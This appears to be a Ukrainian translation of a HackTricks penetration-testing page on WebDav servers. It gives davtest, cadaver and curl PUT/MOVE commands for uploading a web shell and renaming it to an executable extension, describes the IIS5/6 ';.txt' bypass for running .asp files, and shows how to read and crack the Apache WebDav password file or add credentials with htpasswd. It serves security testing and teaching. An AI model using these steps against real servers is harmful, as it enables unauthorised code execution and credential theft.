# WebDav {{#include ../../banners/hacktricks-training.md}} Коли ви маєте справу з **HTTP сервером з увімкненим WebDav**, можливо **маніпулювати файлами**, якщо у вас є правильні **облікові дані**, які зазвичай перевіряються через **HTTP Basic Authentication**. Отримання контролю над таким сервером часто передбачає **завантаження та виконання веб-оболонки**. Доступ до сервера WebDav зазвичай вимагає **дійсних облікових даних**, при цьому [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) є поширеним методом їх отримання. Щоб обійти обмеження на завантаження файлів, особливо ті, що заважають виконанню скриптів на стороні сервера, ви можете: - **Завантажити** файли з **виконуваними розширеннями** безпосередньо, якщо це не заборонено. - **Перейменувати** завантажені невиконувані файли (наприклад, .txt) на виконуване розширення. - **Скопіювати** завантажені невиконувані файли, змінивши їх розширення на таке, що є виконуваним. ## DavTest **Davtest** намагається **завантажити кілька файлів з різними розширеннями** та **перевірити**, чи розширення **виконується**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Це не означає, що **.txt** та **.html розширення виконуються**. Це означає, що ви можете **доступитися до цих файлів** через веб. ## Cadaver Ви можете використовувати цей інструмент, щоб **підключитися до сервера WebDav** та виконувати дії (як **завантаження**, **переміщення** або **видалення**) **вручну**. ``` cadaver ``` ## PUT запит ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE запит ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability Ця вразливість дуже цікава. **WebDav** **не дозволяє** **завантажувати** або **перейменовувати** файли з розширенням **.asp**. Але ви можете **обійти** це, **додавши** в кінець назви **";.txt"**, і файл буде **виконуватись** так, ніби це .asp файл (ви також можете **використати ".html" замість ".txt"**, але **НЕ забувайте про ";"**). Тоді ви можете **завантажити** свою оболонку як ".**txt" файл** і **скопіювати/перемістити його в файл ".asp;.txt"**. Доступаючи до цього файлу через веб-сервер, він буде **виконуватись** (cadaver скаже, що дія переміщення не спрацювала, але це так). ![](<../../images/image (1092).png>) ## Post credentials Якщо Webdav використовував сервер Apache, вам слід подивитися на налаштовані сайти в Apache. Зазвичай:\ _**/etc/apache2/sites-enabled/000-default**_ Всередині ви можете знайти щось на зразок: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Як ви можете бачити, є файли з дійсними **credentials** для **webdav** сервера: ``` /etc/apache2/users.password ``` У цих типах файлів ви знайдете **ім'я користувача** та **хеш** пароля. Це облікові дані, які сервер webdav використовує для автентифікації користувачів. Ви можете спробувати **зламати** їх або **додати більше**, якщо з якоїсь причини ви хочете **доступитися** до **webdav** сервера: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Щоб перевірити, чи працюють нові облікові дані, ви можете зробити: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Посилання - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}